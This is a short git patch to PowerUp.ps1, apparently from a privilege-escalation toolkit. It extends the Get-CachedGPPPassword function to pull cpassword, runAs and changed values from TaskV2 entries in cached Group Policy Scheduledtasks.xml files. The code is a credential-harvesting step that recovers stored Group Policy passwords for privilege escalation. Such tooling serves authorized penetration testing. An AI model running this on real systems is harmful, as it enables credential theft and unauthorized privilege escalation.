From 341d376da4b0464a566e2fa5fdc7bde28dbf32d9 Mon Sep 17 00:00:00 2001
From: swarleysez <31361532+swarleysez@users.noreply.github.com>
Date: Sat, 12 May 2018 01:43:06 -0400
Subject: [PATCH] Get-GPPP: Added Support for Scheduled TaskV2

Added Support for Scheduled TaskV2 in Get-CachedGPPPassword function
---
 Privesc/PowerUp.ps1 | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 45edcecf..590a8dd7 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -4452,8 +4452,11 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
 
                     'Scheduledtasks.xml' {
                         $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+                        $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                         $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+                        $UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                         $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+                        $Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                     }
 
                     'DataSources.xml' {